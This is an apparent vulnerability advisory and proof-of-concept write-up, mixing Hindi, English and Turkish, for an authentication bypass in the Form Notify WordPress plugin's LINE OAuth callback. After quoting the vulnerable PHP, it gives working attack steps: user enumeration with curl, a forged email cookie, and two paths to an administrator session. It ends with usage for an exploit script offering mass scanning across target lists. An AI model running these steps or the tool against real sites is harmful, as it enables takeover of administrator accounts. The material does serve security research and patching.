
CVE-2026-5229: LINE OAuth कॉलबैक के माध्यम से फॉर्म नोटिफाई प्रमाणीकरण बाईपास (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) भेद्यता प्रकार: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hप्रभावित संस्करण: <= 1.1.10 पैच संस्करण: 1.1.11+ शोधकर्ता: Paolo Tresso — Wordfence
Form Notify प्लगइन, फ़ॉर्म सबमिशन के बाद सूचना भेजने वाला और LINE Login OAuth 2.0 एकीकरण प्रदान करने वाला एक WordPress प्लगइन है।
भेद्यता LINE OAuth कॉलबैक हैंडलर में मौजूद है। उपयोगकर्ता द्वारा LINE प्राधिकरण प्रवाह पूरा करने के बाद, प्लगइन WordPress खाते को केवल ईमेल पते के आधार पर हल करता है। यह कभी जांच नहीं करता कि LINE खाता पहले से उस WordPress खाते से जुड़ा है या नहीं।
| संस्करण | भेद्यता | हमला विधि |
|---|---|---|
| <= 1.1.08 | Cookie इंजेक्शन + ईमेल मिलान | पथ A या पथ B |
| 1.1.09 – 1.1.10 | ईमेल मिलान (कुकी हटा दी गई) | पथ B |
| 1.1.11+ | पैच किया गया | — |
LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
WordPress nonce CSRF टोकन होते हैं, प्रमाणीकरण टोकन नहीं। कोई भी आगंतुक पृष्ठ HTML से एक वैध nonce प्राप्त कर सकता है और सत्यापन जांच पास कर सकता है।
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
यदि मिलान मिलता है, तो login() विधि तुरंत सत्र खोलती है:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
जब LINE प्रोफ़ाइल ईमेल नहीं लौटाती ($user->email खाली), तो प्लगइन
सीधे ब्राउज़र कुकी पढ़ता है। हमलावर इस कुकी को पूरी तरह से नियंत्रित
करता है।
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
यदि Transient की समय सीमा समाप्त हो गई है, तो $_SESSION फ़ॉलबैक
सक्रिय हो जाता है। अधिकांश WordPress इंस्टॉलेशन में इस बिंदु पर
$_SESSION भरा नहीं होता → state नियंत्रण को दरकिनार किया जा सकता है।
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
LINE OAuth प्रवाह के माध्यम से बनाए गए खातों में पासवर्ड ईमेल पते के समान होता है। यह सीधे brute-force या लॉगिन हमले की अनुमति देता है।
| कारण | विवरण |
|---|---|
| प्रमाणीकरण आवश्यक नहीं | कॉलबैक एंडपॉइंट पूरी तरह से सार्वजनिक |
| लिंकेज नियंत्रण नहीं | कोई भी LINE खाता पर्याप्त |
| कुकी हमला | <= 1.1.08 में ईमेल भी आवश्यक नहीं |
| एडमिन सहित सभी खाते | get_user_by('email') सभी को प्रभावित करता है |
| कमजोर state नियंत्रण | CSRF सुरक्षा को दरकिनार किया जा सकता है |
| ईमेल = पासवर्ड | OAuth से बनाए गए खाते सरल brute-force के लिए खुले हैं |
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
पूर्वापेक्षाएँ:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
ब्राउज़र डेवलपर टूल खोलें और कंसोल में पेस्ट करें:
document.cookie = "[email protected]; path=/";
या curl के साथ:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Location हेडर में LINE OAuth URL को ब्राउज़र में खोलें।
LINE सहमति स्क्रीन पर ईमेल अनुमति न दें या बिना ईमेल वाला LINE खाता उपयोग करें। LINE, ईमेल के बिना कॉलबैक पर रीडायरेक्ट करेगा। प्लगइन कुकी पर निर्भर हो जाता है।
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
अपेक्षित प्रतिक्रिया:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
पथ A चरण 1 के समान।
account.line.biz पर लक्ष्य ईमेल के साथ LINE खाता बनाएँ।
(ईमेल सत्यापन आवश्यक है — लक्ष्य इनबॉक्स तक पहुंच अनिवार्य है।)
https://target.com/wp-json/form-notify/v1/login
LINE सहमति स्क्रीन पर ईमेल अनुमति दें। LINE, ईमेल पता कॉलबैक पर लौटाता है।
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080